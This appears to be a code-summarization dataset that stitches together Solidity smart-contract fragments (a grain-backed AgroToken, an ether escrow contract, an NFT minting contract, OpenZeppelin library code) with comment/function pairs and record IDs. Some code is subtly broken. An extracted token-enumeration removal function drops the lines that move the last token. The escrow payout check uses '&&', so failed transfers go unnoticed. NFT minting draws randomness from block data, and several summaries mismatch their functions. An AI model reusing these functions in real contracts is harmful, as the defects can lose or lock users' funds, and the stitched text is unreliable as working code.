* @dev Add new grain contract to portfolio
* @param _grainCategory - Grain category
* @param _grainContractInfo - Grain Contract's details
* @param _grainAmount - amount of grain in tons
* @return success
*/
function addNewGrainContract(
string memory _grainCategory,
string memory _grainContractInfo,
uint256 _grainAmount
) public onlyAdmin returns (bool success) {
Grain memory newGrain = Grain(
_grainCategory,
_grainContractInfo,
_grainAmount,
1
);
grains.push(newGrain);
_mint(address(this), _grainAmount);
emit GrainStockChanged(
grains.length-1,
_grainCategory,
_grainContractInfo,
_grainAmount,
1,
totalSupply
);
success = true;
return success;
}
/**
* @dev Remove a contract from Portfolio
* @param _contractIndex - Contract Index within Portfolio
* @return True if success
*/
function removeGrainContract(uint256 _contractIndex) public onlyAdmin returns (bool) {
require(
_contractIndex < grains.length,
"Invalid contract index number. Greater than total grain contracts"
);
Grain storage grain = grains[_contractIndex];
require(grain.status == 1, "This contract is no longer active");
require(_burn(address(this), grain.amount), "Could not to burn tokens");
grain.status = 0;
emit GrainStockChanged(
_contractIndex,
grain.category,
grain.contractInfo,
grain.amount,
grain.status,
totalSupply
);
return true;
}
/**
* @dev Updates a Contract
* @param _contractIndex - Contract Index within Portfolio
* @param _grainCategory - Grain category
* @param _grainContractInfo - Grain Contract's details
* @param _grainAmount - amount of grain in tons
* @return True if success
*/
function updateGrainContract(
uint256 _contractIndex,
string memory _grainCategory,
string memory _grainContractInfo,
uint256 _grainAmount
) public onlyAdmin returns (bool) {
require(
_contractIndex < grains.length,
"Invalid contract index number. Greater than total grain contracts"
);
require(_grainAmount > 0, "Cannot set zero asset amount");
Grain storage grain = grains[_contractIndex];
require(grain.status == 1, "This contract is no longer active");
grain.category = _grainCategory;
grain.contractInfo = _grainContractInfo;
if (grain.amount > _grainAmount) {
_burn(address(this), grain.amount.sub(_grainAmount));
} else if (grain.amount < _grainAmount) {
_mint(address(this), _grainAmount.sub(grain.amount));
}
grain.amount = _grainAmount;
emit GrainStockChanged(
_contractIndex,
grain.category,
grain.contractInfo,
grain.amount,
grain.status,
totalSupply
);
return true;
}
/**
* @return Number of Grain Contracts in Portfolio
*/
function totalContracts() public view returns (uint256) {
return grains.length;
}
/**
* @dev ERC20 Transfer
* @param _to - destination address
* @param _value - value to transfer
* @return True if success
*/
function transfer(address _to, uint256 _value)
override
external
blockLock(msg.sender)
returns (bool)
{
address from = (admin == msg.sender) ? address(this) : msg.sender;
require(
isTransferValid(from, _to, _value),
"Invalid Transfer Operation"
);
balances[from] = balances[from].sub(_value);
uint256 serviceAmount = 0;
uint256 netAmount = _value;
(serviceAmount, netAmount) = calcFees(transferFee, _value);
balances[_to] = balances[_to].add(netAmount);
balances[address(this)] = balances[address(this)].add(serviceAmount);
emit Transfer(from, _to, netAmount);
emit Transfer(from, address(this), serviceAmount);
return true;
}
/**
* @dev ERC20 TransferFrom
* @param _from - source address
* @param _to - destination address
* @param _value - value
* @return True if success
*/
function transferFrom(address _from, address _to, uint256 _value)
override
external
blockLock(_from)
returns (bool)
{
// check sufficient allowance
require(
_value <= allowed[_from][msg.sender],
"Value informed is invalid"
);
require(
isTransferValid(_from, _to, _value),
"Invalid Transfer Operation"
);
// transfer tokens
balances[_from] = balances[_from].sub(_value);
uint256 serviceAmount = 0;
uint256 netAmount = _value;
(serviceAmount, netAmount) = calcFees(transferFee, _value);
balances[_to] = balances[_to].add(netAmount);
balances[address(this)] = balances[address(this)].add(serviceAmount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(
_value,
"Value lower than approval"
);
emit Transfer(_from, _to, netAmount);
emit Transfer(_from, address(this), serviceAmount);
return true;
}
/**
* @dev ERC20 Approve token transfers on behalf of other token owner
* @param _spender - destination address
* @param _value - value to be approved
* @return True if success
*/
function approve(address _spender, uint256 _value)
override
external
blockLock(msg.sender)
returns (bool)
{
require(_spender != address(0), "ERC20: approve to the zero address");
address from = (admin == msg.sender) ? address(this) : msg.sender;
require((_value == 0) || (allowed[from][_spender] == 0), "Allowance cannot be increased or decreased if value is different from zero");
allowed[from][_spender] = _value;
emit Approval(from, _spender, _value);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address _spender, uint256 _subtractedValue) public virtual returns (bool) {
require(_spender != address(0), "ERC20: decreaseAllowance to the zero address");
address from = (admin == msg.sender) ? address(this) : msg.sender;
require(allowed[from][_spender] >= _subtractedValue, "ERC20: decreased allowance below zero");
_approve(from, _spender, allowed[from][_spender].sub(_subtractedValue));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address _spender, uint256 _addedValue) public virtual returns (bool) {
require(_spender != address(0), "ERC20: decreaseAllowance to the zero address");
address from = (admin == msg.sender) ? address(this) : msg.sender;
_approve(from, _spender, allowed[from][_spender].add(_addedValue));
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address _owner, address _spender, uint256 _amount) internal virtual {
require(_owner != address(0), "ERC20: approve from the zero address");
require(_spender != address(0), "ERC20: approve to the zero address");
allowed[_owner][_spender] = _amount;
emit Approval(_owner, _spender, _amount);
}
/**
* @dev withdraw tokens collected after receive fees
* @param _to - destination address
* @param _value - value to transfer
* @return True if success
*/
function withdraw(address _to, uint256 _value)
external
boardOrAdmin
returns (bool)
{
address from = address(this);
require(
isTransferValid(from, _to, _value),
"Invalid Transfer Operation"
);
balances[from] = balances[from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(from, _to, _value);
return true;
}
/**
* @dev Mint new tokens. Can only be called by mana
* @param _to - destination address
* @param _value - value
* @return True if success
*/
function _mint(address _to, uint256 _value)
internal
onlyAdmin
returns (bool)
{
require(_to != address(0), "ERC20: mint to the zero address");
require(_to != admin, "Admin cannot mint tokens to herself");
uint256 serviceAmount;
uint256 netAmount;
(serviceAmount, netAmount) = calcFees(tokenizationFee, _value);
balances[_to] = balances[_to].add(netAmount);
balances[address(this)] = balances[address(this)].add(serviceAmount);
totalSupply = totalSupply.add(_value);
emit Mint(_to, netAmount, totalSupply);
emit Mint(address(this), serviceAmount, totalSupply);
emit Transfer(address(0), _to, netAmount);
emit Transfer(address(0), address(this), serviceAmount);
return true;
}
/**
* @dev Burn tokens
* @param _account - address
* @param _value - value
* @return True if success
*/
function _burn(address _account, uint256 _value)
internal
onlyAdmin
returns (bool)
{
require(_account != address(0), "ERC20: burn from the zero address");
uint256 serviceAmount;
uint256 netAmount;
(serviceAmount, netAmount) = calcFees(deTokenizationFee, _value);
totalSupply = totalSupply.sub(netAmount);
balances[_account] = balances[_account].sub(_value);
balances[address(this)] = balances[address(this)].add(serviceAmount);
emit Transfer(_account, address(0), netAmount);
emit Transfer(_account, address(this), serviceAmount);
emit Burn(_account, netAmount, totalSupply);
return true;
}
/**
* @dev Set block lock. Until that block (exclusive) transfers are disallowed
* @param _lockedUntilBlock - Block Number
* @return True if success
*/
function setBlockLock(uint256 _lockedUntilBlock)
public
boardOrAdmin
returns (bool)
{
lockedUntilBlock = _lockedUntilBlock;
emit BlockLockSet(_lockedUntilBlock);
return true;
}
/**
* @dev Replace current admin with new one
* @param _newAdmin New token admin
* @return True if success
*/
function replaceAdmin(address _newAdmin)
public
boardOrAdmin
returns (bool)
{
require(_newAdmin != address(0x0), "Null address");
admin = _newAdmin;
emit NewAdmin(_newAdmin);
return true;
}
/**
* @dev Change AgroToken fee values
* @param _feeType which fee is being changed. 1 = tokenizationFee, 2 = deTokenizationFee and 3 = transferFee
* @param _newAmount new fee value
* @return processing status
*/
function changeFee(uint8 _feeType, uint256 _newAmount) external boardOrAdmin returns (bool) {
require(_newAmount<=2, "Invalid or exceed white paper definition");
require(_feeType >0 && _feeType<=3, "Invalid fee type");
if (_feeType == 1) {
tokenizationFee = _newAmount;
} else if (_feeType == 2) {
deTokenizationFee = _newAmount;
} else if (_feeType == 3) {
transferFee = _newAmount;
}
return true;
}
/**
* @dev ERC20 balanceOf
* @param _owner Owner address
* @return True if success
*/
function balanceOf(address _owner) public override view returns (uint256) {
return balances[_owner];
}
/**
* @dev ERC20 allowance
* @param _owner Owner address
* @param _spender Address allowed to spend from Owner's balance
* @return uint256 allowance
*/
function allowance(address _owner, address _spender)
override
external
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Are transfers currently disallowed
* @return True if disallowed
*/
function isLocked() public view returns (bool) {
return lockedUntilBlock > block.number;
}
/**
* @dev Checks if transfer parameters are valid
* @param _from Source address
* @param _to Destination address
* @param _amount Amount to check
* @return True if valid
*/
function isTransferValid(address _from, address _to, uint256 _amount)
public
view
returns (bool)
{
if (_from == address(0)) {
return false;
}
if (_to == address(0) || _to == admin) {
return false;
}
bool fromOK = true;
bool toOK = true;
return
balances[_from] >= _amount && // sufficient balance
fromOK && // a seller holder within the whitelist
toOK; // a buyer holder within the whitelist
}
/**
* @dev Calculates AgroToken fees over mint, burn and transfer operations
* @param _fee value of the fee
* @param _amount amount involved in the transaction
* @return serviceAmount value to be paid to AgroToken
* @return netAmount amount after fees
*/
function calcFees(uint256 _fee, uint256 _amount) public pure returns(uint256 serviceAmount, uint256 netAmount ) {
serviceAmount = (_amount.mul(_fee)) / 100;
netAmount = _amount.sub(serviceAmount);
return (serviceAmount, netAmount);
}
}
|
ERC20 balanceOf _owner Owner address return True if success/
|
function balanceOf(address _owner) public override view returns (uint256) {
return balances[_owner];
}
| 622,544
|
./full_match/3/0x86ECD3151c87a443a132051B8B5800a2F9Ec1256/sources/contracts/TheDudesV5.sol
|
Private function to remove a token from this extension's ownership-tracking data structures. Note that while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for gas optimizations e.g. when performing a transfer operation (avoiding double writes). This has O(1) time complexity, but alters the order of the _ownedTokens array. from address representing the previous owner of the given token ID tokenId uint256 ID of the token to be removed from the tokens list of the given address/ To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and then delete the last slot (swap and pop). When the token to delete is the last token, the swap operation is unnecessary
|
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
uint256 lastTokenIndex = TheDudesERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
}
delete _ownedTokens[from][lastTokenIndex];
}
| 8,152,328
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
// ----------------------------------------------------------------------------
/// @author Gradi Kayamba
/// @title Purchase items with ether
/// @dev notice contract gas cost (1,718,837 gas)
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
/// @title Context : Information about sender, and value of the transaction.
// ----------------------------------------------------------------------------
abstract contract Context {
/// @dev Returns information about the sender of the transaction.
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
// ----------------------------------------------------------------------------
/// @title Purchase : Smart Contract facilitating purchases using ether.
// This contract uses the mapping combination of `escrow`, `locked`,
// and `contribution` to track, and enable or disable transactions using `_id`,
// and `_seller` and `_buyer` addresses as a reference.
// - escrow[_id][_seller][_buyer] : Helps track the seller and buyer combined
// ether funds based on the transaction id.
// - locked[_id][_seller][_buyer] : Prevents the buyer and the seller from withdrawing
// their funds based on the transaction id.
// - contribution[_id][_seller/_buyer] : Helps track seller or buyer ether fund to facilitate
// transfers based on the transaction id.
// ----------------------------------------------------------------------------
contract Purchase is Context {
// Define public constant variables.
address payable public founder; // Founder of the contract.
address payable public deposit; // Deposit address for ether fee.
uint256 public fee; // Fee for using the contract
// escrow[][][] : Tracks both seller and buyer contributed funds.
mapping(uint256 => mapping(address => mapping(address => uint256))) escrow;
// locked[][][] : Locks transactions (withdraws) on the order.
mapping(uint256 => mapping(address => mapping(address => bool))) locked;
// contribution[][] : Tracks each party's contributed funds.
mapping(uint256 => mapping(address => uint256)) contribution;
// Set the following value on construction:
// founder's address, deposit address, and fee amount.
constructor(address payable _deposit) {
founder = payable(_msgSender());
deposit = _deposit;
fee = 100;
}
/**
* @dev Triggers on any successful call to order().
* @param seller : The address selling the item.
* @param buyer : The address buying the item.
* @param id : The transaction id for the item.
*/
event Order(address seller, address buyer, uint256 id, uint256 amount);
/// Triggers on any successful call to cancel().
event Withdraw(address seller, address buyer, uint256 id, uint256 amount);
/// Triggers on any successful call to unlock().
event Unlock(address seller, address buyer, uint256 id);
/// Triggers on any successful call to comfirm().
event Confirm(address seller, address buyer, uint256 id, uint256 buyerBalance, uint256 sellerBalance, uint256 fee);
/// Triggers on any successful call to instantPay().
event InstantPay(address seller, address buyer, uint256 amount);
/// You are not authorized to call this function.
error OnlyBy();
/// The amount must be greater than (0) zero.
error NoZero();
/// Zero address not allowed.
error NoneZero();
/// Failed to transfer the funds, aborting.
error FailedTransfer();
/// Withdraws are locked.
error WithdrawLocked();
/// Withdraws are not locked.
error WithdrawUnlocked();
/// @dev Makes a function callable only when the _owner is not a zero-address.
modifier noneZero(address _recipient){
if (_recipient == address(0))
revert NoneZero();
_;
}
/// @dev Makes a function callable only by _authorized.
modifier onlyBy(address _authorized) {
if (_msgSender() != _authorized)
revert OnlyBy();
_;
}
/// @dev Makes a function callable only when _amount is more than (0) zero.
modifier noZero(uint256 _amount) {
if (_amount <= 0)
revert NoZero();
_;
}
/// @dev Makes a function callable only when locked[][][] is false.
modifier whenUnlocked(address _seller, address _buyer, uint256 _id) {
if (locked[_id][_seller][_buyer] == true)
revert WithdrawLocked();
_;
}
/// @dev Makes a function callable only when locked[][][] is true.
modifier whenLocked(address _seller, address _buyer, uint256 _id) {
if (locked[_id][_seller][_buyer] == false)
revert WithdrawUnlocked();
_;
}
/// @dev Makes a function callable only by _buyer or _seller.
modifier onlyBoth(address _seller, address _buyer) {
require(_msgSender() == _seller || _msgSender() == _buyer);
_;
}
/**
* @dev Gas cost min (72761) - max (77000)
* @notice Transfers ether to the contract for order _id.
* @notice Both seller and buyer have to send ether to the contract as escrow.
* @notice This function is first called by _buyer only when unlocked,
* @notice then called by _seller to lock it (the order).
* @notice Callable only by _buyer or _seller of order _id.
* @param _seller : The address selling the item.
* @param _buyer : The address buying the item.
* @param _id : The transaction id for the item.
* @return success
*/
function order(address payable _seller, address payable _buyer, uint256 _id)
public
payable
onlyBoth(_buyer, _seller)
whenUnlocked(_seller, _buyer, _id)
returns (bool success)
{
// Add ether to escrow.
escrow[_id][_seller][_buyer] += msg.value;
// Set ether contribution for _msgSender().
contribution[_id][_msgSender()] = msg.value;
// If the caller is _seller lock the order because
// the order is being processed.
if(_msgSender() == _seller) {
// set locked[][][] to true.
locked[_id][_seller][_buyer] = true;
}
// See {event Order(...)}
emit Order(_seller, _buyer, _id, msg.value);
// Returns true on success.
return true;
}
/**
* @dev Gas cost min (60805) - max (62000)
* @notice Confirm that you (_buyer) received the item.
* @notice This will transfer the locked ether to the _seller, the founder, and you (_buyer).
* @notice Callable only by _buyer.
* @param _seller : The address selling the item.
* @param _buyer : The address buying the item.
* @param _id : The transaction id for the item.
*/
function confirm(address payable _seller, address payable _buyer, uint256 _id)
onlyBy(_buyer)
whenLocked(_seller, _buyer, _id)
noZero(contribution[_id][_msgSender()]) // Get amount contributed by _msgSender()
public
{
// NOTE - Always check balance first before transaction.
// Check _buyer's balance.
uint _buyerBalance = contribution[_id][_msgSender()];
// Check _seller's balance.
uint _sellerBalance = contribution[_id][_seller];
// Set _buyer contribution to 0.
contribution[_id][_msgSender()] = 0;
// Set _seller contribution to 0.
contribution[_id][_seller] = 0;
// Set _seller and _buyer escrow to 0.
escrow[_id][_seller][_buyer] = 0;
// Set transaction fee.
// if fee = 100 then 1%; if fee = 30 then 0.3% ... and so on.
// thus ~ ((balance * 100) * 30 / 10000) ~ 0.3% ~ will work!
// and ~ (balance * 0.3 / 100) ~ 0.3% ~ will not work!
uint256 _feeAmount = (_buyerBalance * 100) * fee / 1000000; // whatever % (fee percentage) will go toward the fee amount
// The buyer has to put (2 x ether) to the escrow and the seller only (1 x ether)
// To allocate the funds correctly, we have to criss-cross the funds.
// Thus sending the buyer's fund to the seller and the seller's fund to the buyer.
// Transfer buyer's funds to the seller.
(bool successToSeller, ) = _seller.call{value: (_buyerBalance - _feeAmount)}("");
// Transfer seller's funds to the buyer.
(bool successToBuyer, ) = _buyer.call{value: _sellerBalance}("");
// Transfer fee to the deposit of the founder.
(bool successToFounder,) = deposit.call{value: _feeAmount}("");
// Check that the transfer is successful
if(!successToSeller && !successToBuyer && !successToFounder) revert FailedTransfer();
// See {event Comfirm(...)}
emit Confirm(_seller, _buyer, _id, _sellerBalance, _buyerBalance - _feeAmount, _feeAmount);
}
/**
* @dev Gas cost min (36575) - max (54000 !important)
* @notice This function refunds ether to _msgSender() (_buyer or _seller) for order _id.
* @notice Callable only when order is unlocked and contribution is not (0) zero.
* @notice Callable only by _buyer or _seller for order _id
* @param _seller : The address selling the item.
* @param _buyer : The address buying the item.
* @param _id : The transaction id for the item.
*/
function withdraw(address _seller, address _buyer, uint256 _id)
public
noZero(contribution[_id][_msgSender()])
whenUnlocked(_seller, _buyer, _id)
onlyBoth(_buyer, _seller)
{
// NOTE - Always check balance first before transaction.
// Check sender's balance.
uint _amount = contribution[_id][_msgSender()];
// Set sender's contribution to 0.
contribution[_id][_msgSender()] = 0;
// Decrease escrow by _amount.
escrow[_id][_seller][_buyer] -= _amount;
// Transfer ether to sender.
(bool success, ) = payable(_msgSender()).call{value: _amount}("");
// Check that the transfer is successful
if(!success) revert FailedTransfer();
// See {event Withdraw(...)}
emit Withdraw(_seller, _buyer, _id, _amount);
}
/**
* @dev Gas cost min (26125) - max (28000)
* @notice This function unlocks transaction for order _id.
* @notice Callable only by _seller and when locked
* @param _seller : The address selling the item.
* @param _buyer : The address buying the item.
* @param _id : The transaction id for the item.
* @return success
*/
function unlock(address _seller, address _buyer, uint256 _id)
public
onlyBy(_seller)
whenLocked(_seller, _buyer, _id)
returns (bool success)
{
// Set locked to false to allow transactions/withdraws for order _id.
locked[_id][_seller][_buyer] = false;
// See {event Unlock(...)}
emit Unlock(_seller, _buyer, _id);
// Returns true on success.
return true;
}
/**
* @dev Gas cost min (29125) - max (31000)
* @notice Changes fees.
* @notice Callable by the founder only.
* @notice Callable only by a none-zero address.
* @param _newFee : The new fee amount. (e.g. 100 is 1%, 30 is 0.3%, 5 is 0.05% ...)
*/
function changeFee(uint256 _newFee)
onlyBy(founder)
noneZero(_msgSender())
public
returns (bool success)
{
// Change amount from fee to _newFee.
fee = _newFee;
// Returns true on success.
return true;
}
/**
* @dev Gas cost min (33780) - max (35000)
* @notice Transfers ether from sender address to _recipient address.
* @notice Callable only by a none-zero address.
* @param _recipient : The address receiving ether.
*/
function instantPay(address payable _recipient) payable public noneZero(_recipient) {
// Transfer ether to _recipient.
(bool success, ) = _recipient.call{value: msg.value}("");
// Check that the transfer is successful
if(!success) revert FailedTransfer();
// See {event InstantPay(...)}
emit InstantPay(_msgSender(), _recipient, msg.value);
}
/**
* @notice Returns the amount of ether of _seller and _buyer escrow for order _id.
* @return remaining 000
*/
function escrowOf(address _seller, address _buyer, uint256 _id) public view returns (uint256 remaining) {
return escrow[_id][_seller][_buyer];
}
/**
* @notice Returns the locked status for order _id of _seller and _buyer.
* @return pending true/false
*/
function lockedOf(address _seller, address _buyer, uint256 _id) public view returns (bool pending) {
return locked[_id][_seller][_buyer];
}
/**
* @notice Returns the amount of ether contribution of _sender for order _id.
* @return balance 000
*/
function contributionOf(address _sender, uint256 _id) public view returns (uint256 balance) {
return contribution[_id][_sender];
}
}
|
Returns the amount of ether contribution of _sender for order _id. return balance 000/
|
function contributionOf(address _sender, uint256 _id) public view returns (uint256 balance) {
return contribution[_id][_sender];
}
| 14,064,012
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract LightCultCryptoClub is ERC721Enumerable, Ownable, ReentrancyGuard {
/**
* @dev Events
*/
event Burn(uint256 tokenId, address burner);
/**
* @dev Constants
*/
uint256 public constant TOKEN_LIMIT = 10006;
uint256 public constant PRESALE_MINT_LIMIT = 5000;
uint256 private constant _GIVEAWAY_LIMIT = 100;
uint256 public mintPrice = .06 ether;
uint256 public constant MAX_MINT_QUANTITY = 20;
/**
* @dev Addresses
*/
address payable constant private _RON_WALLET = payable(0x8e3331BbC9aF9B5fDEAE7e2ea83B207ccf66BC39);
address payable constant private _1XRUN_WALLET = payable(0xB82cbB2cD0Cb7E29015845A82c18D183fE254C45);
address payable constant private _DOM_WALLET = payable(0xf331AFba4179FBfEA8464f69e69ea7Fa4cF37474);
address payable constant private _DEV_WALLET = payable(0x6626a2739959B2355f29184fA0db390920ccFc40);
/**
* @dev Variables
*/
uint256 public saleState = 0; // 0 = closed, 1 = presale tier 1, 2 = presale tier 2, 3 = sale
bool public burnActive = false;
string public baseURI;
string public PROVENANCE_HASH = "";
// Internal state
// _presaleAllowance[address] > 0 | tier 2 eligible
// _presaleAllowance[address] - 1 | remaining tier 1 mints
mapping(address => uint256) private _presaleAllowance;
mapping(uint256 => address) private _tokenIdBurners;
// For random index
uint256 private _nonce = 0;
uint256[TOKEN_LIMIT] private _indices;
constructor() ERC721("LightCultCryptoClub", "LCCC") {}
/**
* General usage
*/
function _randomMint(address to) private {
uint256 randomIndex = uint256(keccak256(abi.encodePacked(_nonce, msg.sender, block.difficulty, block.timestamp)));
_validMint(to, randomIndex);
}
function _validMint(address to, uint256 index) private {
uint256 validIndex = _validateIndex(index);
_safeMint(to, validIndex);
}
function _validateIndex(uint256 indexToValidate) private returns (uint256) {
uint256 totalSize = TOKEN_LIMIT - totalSupply();
uint256 index = indexToValidate % totalSize;
uint256 value = 0;
if (_indices[index] != 0) {
value = _indices[index];
} else {
value = index;
}
if (_indices[totalSize - 1] == 0) {
_indices[index] = totalSize - 1;
} else {
_indices[index] = _indices[totalSize - 1];
}
_nonce++;
return value;
}
function _baseURI() internal view override returns (string memory) {
return baseURI;
}
function listTokensForOwner(address owner) external view returns (uint256[] memory) {
uint256 tokenCount = balanceOf(owner);
uint256[] memory result = new uint256[](tokenCount);
uint256 index;
for (index = 0; index < tokenCount; index++) {
result[index] = tokenOfOwnerByIndex(owner, index);
}
return result;
}
/**
* Presale eligibility
*/
function isTierTwoPresaleEligible(address minter) external view returns(bool) {
return _presaleAllowance[minter] > 0;
}
function isTierOnePresaleEligible(address minter) external view returns(bool) {
return _presaleAllowance[minter] > 1;
}
function presaleAllowanceForAddress(address minter) external view returns(uint) {
return _presaleAllowance[minter];
}
/**
* Minting
*/
function mintTokens(uint256 numTokens) external payable nonReentrant {
require(saleState != 0, "Sale is closed");
require(numTokens > 0 && numTokens <= MAX_MINT_QUANTITY, "You can only mint 1 to 20 tokens at a time");
if (saleState == 3) {
// Open sale
require(totalSupply() + numTokens <= TOKEN_LIMIT, "LCCC has sold out");
} else {
require(totalSupply() + numTokens <= PRESALE_MINT_LIMIT, "The maximum presale tokens have been minted");
if (saleState == 2) {
// Tier 2 presale
require(_presaleAllowance[msg.sender] > 0, "You are not eligible to presale mint");
} else if (saleState == 1) {
// Tier 1 presale
require(_presaleAllowance[msg.sender] - numTokens >= 1, "You cannot mint that many tokens at this time");
_presaleAllowance[msg.sender] -= numTokens;
}
}
uint256 totalPrice = mintPrice * numTokens;
require(msg.value >= totalPrice, "Ether value sent is below the price");
for (uint256 i = 0; i < numTokens; i++) {
_randomMint(msg.sender);
}
}
/**
* Burn
*/
function burn(uint256 tokenId) external {
require(burnActive, "You cannot burn at this time");
require(ownerOf(tokenId) == msg.sender, "You cannot burn a token you do not own");
_burn(tokenId);
_tokenIdBurners[tokenId] = msg.sender;
emit Burn(tokenId, msg.sender);
}
function burnerOf(uint256 tokenId) external view returns (address) {
return _tokenIdBurners[tokenId];
}
/**
* Owner only
*/
function setProvenanceHash(string calldata provenanceHash) external onlyOwner {
PROVENANCE_HASH = provenanceHash;
}
function editPresaleAllowance(address[] memory addresses, uint256 amount) public onlyOwner {
for(uint256 i; i < addresses.length; i++){
_presaleAllowance[addresses[i]] = amount;
}
}
function setBaseURI(string calldata baseURI_) external onlyOwner {
baseURI = baseURI_;
}
function reserveTokens(uint256[] calldata tokens) external onlyOwner {
require(saleState == 0, "Sale is not in closed state");
require(totalSupply() + tokens.length <= _GIVEAWAY_LIMIT, "Exceeded giveaway supply");
for (uint256 i = 0; i < tokens.length; i++) {
_validMint(_1XRUN_WALLET, tokens[i]);
}
}
function setMintPrice(uint256 newMintPrice) external onlyOwner {
mintPrice = newMintPrice;
}
function setSaleState(uint256 newState) external onlyOwner {
saleState = newState;
}
function toggleBurnState() external onlyOwner {
burnActive = !burnActive;
}
function withdraw() external onlyOwner {
uint256 fortyPercentOfBalance = (address(this).balance * 40)/100; // 40.0%
uint256 twelvePercentOfBalance = (address(this).balance * 12)/100; // 12.0%
uint256 eightPercentOfBalance = (address(this).balance * 8)/100; // 8.0%
_RON_WALLET.transfer(fortyPercentOfBalance);
_1XRUN_WALLET.transfer(fortyPercentOfBalance);
_DOM_WALLET.transfer(twelvePercentOfBalance);
_DEV_WALLET.transfer(eightPercentOfBalance);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
